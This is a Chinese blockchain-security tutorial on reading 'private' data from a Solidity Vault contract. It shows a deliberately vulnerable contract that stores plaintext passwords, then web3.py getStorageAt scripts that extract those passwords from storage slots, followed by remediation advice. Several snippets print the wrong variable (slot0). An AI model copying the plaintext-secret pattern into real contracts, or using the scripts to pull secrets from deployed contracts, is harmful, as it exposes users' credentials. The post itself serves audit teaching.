【区块链安全 | 第三十八篇】合约审计之获取私有数据(二)
文章目录
- 前言
- 漏洞代码
- 代码审计
- 攻击步骤
- 修复建议
- 审计思路

前言
在【区块链安全 | 第三十七篇】合约审计之获取私有数据(一)中,介绍了私有数据、访问私有数据实例、Solidity 中的数据存储方式等知识,本文通过分析具体合约代码进行案例分析。
漏洞代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;contract Vault {// 公共变量,可以通过 getter 函数读取// slot 0uint public count = 123;// 部署合约的地址会成为 owner// slot 1address public owner = msg.sender;// 示例布尔值和 uint16 类型变量// slot 1bool public isTrue = true;uint16 public u16 = 31;// 私有密码变量,不能通过合约外部直接访问// slot 2bytes32 private password;// 常量值,在部署时就固定,不可更改// 编译时嵌入,不占 slotuint public constant someConst = 123;// 固定长度的 bytes32 数组,长度为 3// slot 3、slot 4、slot 5bytes32[3] public data;// 用户结构体,包含用户 ID 和密码字段struct User {uint id;bytes32 password;}// 用户动态数组,仅限内部访问// slot 6User[] private users;// 映射:通过用户 ID 查找对应的用户结构体mapping(uint => User) private idToUser;// 构造函数,在部署时设置初始密码constructor(bytes32 _password) {password = _password;}// 添加新用户,自动分配 ID,并存储在数组和映射中function addUser(bytes32 _password) public {User memory user = User({id: users.length,password: _password});users.push(user);idToUser[user.id] = user;}// 工具函数:用于计算数组中元素的 storage 位置function getArrayLocation(uint slot,uint index,uint elementSize) public pure returns (uint) {return uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);}// 工具函数:用于计算映射中某个键的 storage 位置function getMapLocation(uint slot, uint key) public pure returns (uint) {return uint(keccak256(abi.encodePacked(key, slot)));}
}
代码审计
从上述 Vault 合约代码可以看出,合约将用户的敏感信息(如用户名与密码)直接存储在链上。尽管使用了 private 关键字对变量进行了访问限制,但在区块链中,所有合约数据都是公开可见的。private 仅限制了其他合约或外部账户通过函数调用访问变量的能力,但无法阻止任何人通过读取链上存储数据(storage)来获取这些信息。
下面展示如何获取敏感数据。
攻击步骤
攻击前提:Vault 合约已部署在链上。
首先,我们可以通过以下方式读取合约中第一个存储槽(slot 0)中的 uint 类型变量 count 的值:
slot0 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x0')
print(w3.toHex(slot0))
这里结果是以十六进制形式输出的:
0x000000000000000000000000000000000000000000000000000000000000007b
对其转换得到十进制123:

因此 count 的值为123。
再通过该脚本:
slot1 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x1')
print(w3.toHex(slot0))
得到:
0x00000000000000000001f01f36467c4e023c355026066b8dc51456e7b791d99
从右往左依次为
- owner = f36467c4e023c355026066b8dc51456e7b791d99
- isTrue = 01 = true
- u16 = 1f = 31
再通过该脚本获取 slot 2,其中存有私有变量 password:
slot2 = w3.eth.getStorageAt("0x35XXXXXXX----XXXXXX8bfDb279faD6b", '0x2')
print(w3.toHex(slot0))
得到:
0x4141414242424343430000000000000000000000000000000000000000
现在我们想获取用户的用户名密码,则需要访问 slot 6 的内容。
由于 User 是一个结构体:
struct User {uint id; // 32 bytes,占用 1 slotbytes32 password; // 32 bytes,占用 1 slot
}
所以,每个 User 占用两个连续的 storage slot。
因此,通过【区块链安全 | 第三十七篇】合约审计之获取私有数据(一)的知识,我们可以知道,在该变长数组中:
- users[0].id 存在 keccak256(6) = 0xf652…3f
- users[0].password 存在 keccak256(6) + 1 = 0xf652…40
因此可以通过如下语句访问 user1 的 ID 与密码:
user1ID = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f")
print('user1的ID是'+w3.toHex(user1ID))user1password = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40")
print('user1的密码是'+w3.toHex(user1password))
输出如下:

同理,user2ID 与 user2password 的地址依次递增,通过该脚本即可读取:
user2ID = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d41")
# 末尾改为41
print('user2的ID是'+w3.toHex(user2ID))user2password = w3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b","0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d42")
# 末尾改为42
print('user2的密码是'+w3.toHex(user2password))
输出如下:

修复建议
1.敏感数据(如密码)不应以明文形式存储在链上;
2.在上链前对数据进行哈希处理(例如,仅存储 keccak256(password) 的结果);
3.避免在合约中保存明文密码,即使使用 private 也无法阻止链上其他人读取。
审计思路
在审计过程中,应特别关注合约中是否存在敏感数据的存储,例如密钥、游戏通关口令等关键信息。
相关文章:
【区块链安全 | 第三十八篇】合约审计之获取私有数据(二)
文章目录 前言漏洞代码代码审计攻击步骤修复建议审计思路 前言 在【区块链安全 | 第三十七篇】合约审计之获取私有数据(一)中,介绍了私有数据、访问私有数据实例、Solidity 中的数据存储方式等知识,本文通过分析具体合约代码进行…...
[ctfshow web入门] web23
前置知识 include:包含一个文件,也可以包含一些其他东西,后续用到再解析 substr:对字符串进行切片,第一个参数是字符串,第二第三个参数出从第a个索引开始切n个,索引从0开始计数。 例如…...
mac 苍穹外卖 后端初始 SkyApplication 报错
报错内容 java: java.lang.NoSuchFieldError: Class com.sun.tools.javac.tree.JCTree$JCImport does not have member field com.sun.tools.javac.tree.JCTree qualid deepseek 解决 打开 File > Project Structure > Project SDK, 选择 JDK17。我没有 JDK17就下载了一…...
CSS中的inline-flex与flex的区别
在CSS中,flex 和 inline-flex 都是用于实现弹性布局(Flexbox)的显示属性,但它们在布局行为上有所不同。 flex 属性会使元素表现为块级弹性容器,这意味着元素会在页面上占据一整行的空间,无论其内部内容的大…...
不用第三方库调用DeepSeek
又双叒叕很久不写博客,今天吐一口老曹。 一、为啥干这个 之前在修改OJ的时候,本着少修改多收益的原则,用Python写了一些DeepSeek的调用,真的很简单,用拉下来OpenAI按照官方文档复制粘贴就可以。接口文档页面ÿ…...
Proximal Policy Optimization (PPO)
2.1 策略梯度方法 策略梯度方法计算策略梯度的估计值并将其插入到随机梯度上升算法中。最常用的梯度估计器的形式如下: g ^ E t [ ∇ θ log π θ ( a t ∣ s t ) A ^ t ] (1) \hat{g} \mathbb{E}_t \left[ \nabla_{\theta} \log \pi_{\theta}(a_t | s_t) \h…...
微信小程序:动态表格实现,表头单元格数据完全从data中获取,宽度自定义,自定义文本框,行勾选,样式效果,横向滚动表格(解决背景色不足的问题)等
一、样式效果 二、代码 1、wxml <view class"line flex flex-center"><view class"none" wx:if"{{info.length 0}}">暂无料号</view><view wx:else class"table-container"><!-- 动态生成表头 -->&…...
Java基础编程练习第38题-除法器
题目:编写一个除法器,输入被除数和除数,并将结果输出。 这道题看似很简单,实则也不难。 就是假如用户输入的类型不同怎么办呢?用户输入int或者double类型应该怎么解决。这里我们就需要用到函数的重载。 代码如下&am…...
fabric.js基础使用
1.正方形 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-width, initial-scale1.0" /><title>Fabric.js Watermark Example</tit…...
python-Leetcode 65.搜索旋转排序数组
题目: 整数数组nums按升序排列,数组中的值互不相同 在传递给函数之前,nums在预先未知的某个小标K上进行了旋转,使数组变为[nums[k], nums[k1], ..., nums[n-1], nums[0], nums[1], ..., nums[k-1]],小标从0开始计数。…...
质数质数筛
1.试除法判定质数–O(sqrt(N)) bool is_prime(int x) {if (x < 2) return false;for (int i 2; i < x / i; i )if (x % i 0)return false;return true; }2.试除法分解质因数–O(logN)~O(sqrt(N)) void divide(int x) {for (int i 2; i < x / i; i )if (x % i …...
Django学习记录-1
Django学习记录-1 虽然网上教程都很多,但是感觉自己记录一下才属于自己,之后想找也方面一点,文采不佳看的不爽可绕道。 参考贴 从零开始的Django框架入门到实战教程(内含实战实例) - 01 创建项目与app、加入静态文件、模板语法介绍ÿ…...
K8s私有仓库拉取镜像报错解决:x509 certificate signed by unknown authority
前言 在Kubernetes环境中使用自签名证书的私有Harbor镜像仓库时,常会遇到证书验证失败的问题。本文将详细讲解如何解决这个常见的证书问题。 环境信息: Kubernetes版本:1.28.2容器运行时:containerd 1.6.20私有仓库:…...
使用python访问mindie部署的vl多模态模型
说明 今天使用mindie1.0部署了qwen2_7b_vl模型,测试过程出现一些问题,这里总结下。 问题1:transformers版本太低 报错信息: [ERROR] [model_deploy_config.cpp:159] Failed to get vocab size from tokenizer wrapper with ex…...
LabVIEW 长期项目开发
LabVIEW 凭借其图形化编程的独特优势,在工业自动化、测试测量等领域得到了广泛应用。对于长期运行、持续迭代的 LabVIEW 项目而言,其开发过程涵盖架构设计、代码管理、性能优化等多个关键环节,每个环节都对项目的成功起着至关重要的作用。下面…...
MongoDB 的详细介绍
以下是 MongoDB 的详细介绍,涵盖核心概念、使用场景、优势与操作示例: 一、MongoDB 简介 MongoDB 是一个开源的 文档型 NoSQL 数据库,采用灵活的 JSON-like(BSON)格式存储数据,适合处理非结构化或半结构化数据。 核心特点: Schema-free:无需预定义表结构,字段可动态扩…...
Ubuntu 22.04 AI大模型环境配置及常用工具安装
一、基础环境准备 1.1 系统准备 建议使用 Ubuntu22.04 以下配置皆以 Ubuntu22.04 系统版本为例 1.2 安装git apt-get update && apt-get install git -y1.3 安装 Python 3.9 【建议安装 3.10】(安装miniconda或者conda来管理虚拟环境) wget …...
蓝桥杯真题——好数、R格式
目录 蓝桥杯2024年第十五届省赛真题-好数 【模拟题】 题目描述 输入格式 输出格式 样例输入 样例输出 提示 代码1:有两个案例过不了,超时 蓝桥杯2024年第十五届省赛真题-R 格式 【vector容器的使用】 题目描述 输入格式 输出格式 样例输入…...
AWS S3深度剖析:云存储的瑞士军刀
1. 引言 在当今数据驱动的世界中,高效、可靠、安全的数据存储解决方案至关重要。Amazon Simple Storage Service (S3)作为AWS生态系统中的核心服务之一,为企业和开发者提供了一个强大而灵活的对象存储平台。本文将全面解析S3的核心特性,帮助读者深入理解如何充分利用这一&q…...
Qt基础:右键菜单
右键菜单 1. 基于鼠标事件实现1.1 原理1.2 操作 2. 基于窗口的菜单策略实现2.1 Qt::DefaultContextMenu2.2 Qt::ActionsContextMenu 2.3 Qt::CustomContextMenu 显示右键菜单, 其处理方式大体上有两种: 基于鼠标事件实现;基于窗口的菜单策略实现。 1. …...
Json快速入门
引言 Jsoncpp 库主要是用于实现 Json 格式数据的序列化和反序列化,它实现了将多个数据对象组织成 为Json格式字符串,以及将 Json 格式字符串解析得到多个数据对象的功能,独立于开发语言。 Json数据对象 Json数据对象类的表示: …...
WinForm真入门(10)——CheckBox控件详解
在 WinForm 中,CheckBox 控件是一个用于表示布尔状态(选中/未选中)的核心组件。它广泛应用于配置选项、表单提交、条件筛选等场景。以下是 CheckBox 的详细解析,涵盖属性、事件、使用技巧和实际案例。 一、CheckBox 核心属性…...
网络安全应急响应-系统排查
在网络安全应急响应中,系统排查是快速识别潜在威胁的关键步骤。以下是针对Windows和Linux系统的系统基本信息排查指南,涵盖常用命令及注意事项: 一、Windows系统排查 1. 系统信息工具(msinfo32.exe) 命令执行&#x…...
[QMT量化交易小白入门]-四十二、五年年化收益率26%,当日未成交的下单,取消后重新委托
本专栏主要是介绍QMT的基础用法,常见函数,写策略的方法,也会分享一些量化交易的思路,大概会写100篇左右。 QMT的相关资料较少,在使用过程中不断的摸索,遇到了一些问题,记录下来和大家一起沟通,共同进步。 文章目录 相关阅读委托查询功能3.1 数据获取层3.2 数据结构初始…...
Windows版-RabbitMQ自动化部署
一键完成Erlang环境变量配置(ERLANG_HOME系统变量) 一键完成RabbitMQ环境变量配置(RabbitMQ系统变量) 实现快速安装部署RabbitMQ PS: 需提前下载安装: - otp_win64_25.0.exe (Erlang) - rabbit…...
openEuler24.03 LTS下安装Flink
目录 Flink的安装模式下载Flink安装Local模式前提条件解压安装包启动集群查看进程提交作业文件WordCount持续流WordCount 查看Web UI配置flink-conf.yaml简单使用 关闭集群 Standalone Session模式前提条件Flink集群规划解压安装包配置flink配置flink-conf.yaml配置workers配置…...
LeetCode热题100记录-【二分查找】
二分查找 35.搜索插入位置 思考:二分查找先判定边界条件 记录:不需要二刷 class Solution {public int searchInsert(int[] nums, int target) {int left 0,right nums.length-1;if(nums[right] < target){return right1;}if(nums[left] > tar…...
从零开始学java--泛型(1)
泛型 学生成绩可能是数字类型,也可能是字符串类型,如何存放可能出现的两种类型呢: public class Score {String name;String id;Object value; //因为Object是所有类型的父类,因此既可以存放Integer也能存放Stringpublic Score…...
【正点原子】STM32MP135去除SD卡引脚复用,出现 /dev/mmcblk1p5 not found!
如果在设备树中直接注释掉 sdmmc1 节点,就会导致系统启动时识别不到真正的 eMMC 设备,进而挂载失败,爆出 /dev/mmcblk1p5 not found 的问题。 正点原子STM32MP135开发板Linux核心板嵌入式ARM双千兆以太网CAN 正确操作是“放空”而不是“删光…...
CrystalDiskInfo电脑硬盘监控工具 v9.6.0中文绿色便携版
前言 CrystalDiskInfo是一个不用花钱的硬盘小帮手软件,它可以帮你看看你的电脑硬盘工作得怎么样,健不健康。这个软件能显示硬盘的温度高不高、还有多少地方没用、传输东西快不快等等好多信息。用了它,你就能很容易地知道硬盘现在是什么情况&…...

